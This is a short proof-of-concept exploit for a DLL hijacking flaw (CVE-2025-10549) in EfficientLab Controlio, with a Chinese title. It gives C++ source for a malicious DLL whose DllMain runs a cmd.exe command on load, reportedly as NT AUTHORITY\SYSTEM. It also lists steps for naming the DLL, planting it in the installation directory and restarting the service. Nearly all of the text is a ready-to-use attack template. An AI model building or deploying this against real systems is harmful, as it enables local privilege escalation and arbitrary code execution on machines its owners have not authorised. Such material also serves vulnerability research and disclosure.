CVE-2025-10549 EfficientLab Controlio DLL劫持漏洞

// Compile: x86_64-w64-mingw32-g++ -shared -o hijack.dll payload.cpp #include <windows.h> #include <stdlib.h> // DllMain entry point BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Execution starts here when the DLL is loaded // Example: Create a file as proof of execution (runs as NT AUTHORITY\SYSTEM) system("cmd.exe /c echo PoC Execution > C:\\Windows\\Temp\\cve_2025_10549.txt"); // Practical attack: WinExec("calc.exe", SW_SHOW); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } /* Instructions: 1. Identify the missing DLL name the application tries to load (e.g., using Process Monitor). 2. Rename the compiled 'hijack.dll' to the identified DLL name. 3. Place the malicious DLL in the Controlio installation directory. 4. Restart the Controlio service or trigger the application flow. */